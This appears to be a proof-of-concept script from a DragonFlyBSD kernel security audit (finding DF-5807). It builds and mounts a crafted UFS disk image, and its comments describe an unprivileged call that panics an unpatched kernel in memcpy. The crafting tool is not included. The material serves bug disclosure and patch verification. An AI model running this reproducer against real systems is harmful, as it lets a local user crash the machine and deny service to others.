⬢ DragonFlyBSD Kernel Audit
DF-5807 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-5807 run (see VERDICT.md for preconditions)
cd "$(dirname "$0")"
#!/bin/sh
# root setup: craft + mount ; then unprivileged trigger
dd if=/dev/zero of=/root/f1.img bs=1m count=32 status=none
vnconfig -c vn2 /root/f1.img
newfs -b 4096 -f 512 /dev/vn2
vnconfig -u vn2
/tmp/craft /root/f1.img
vnconfig -c vn2 /root/f1.img
mkdir -p /mnt/f1 && mount -t ufs -o ro /dev/vn2 /mnt/f1
# as an unprivileged user:
#   /tmp/getd /mnt/f1     -> stock kernel: Fatal trap 12 in memcpy (panic)
#                          -> patched kernel: n=24, no panic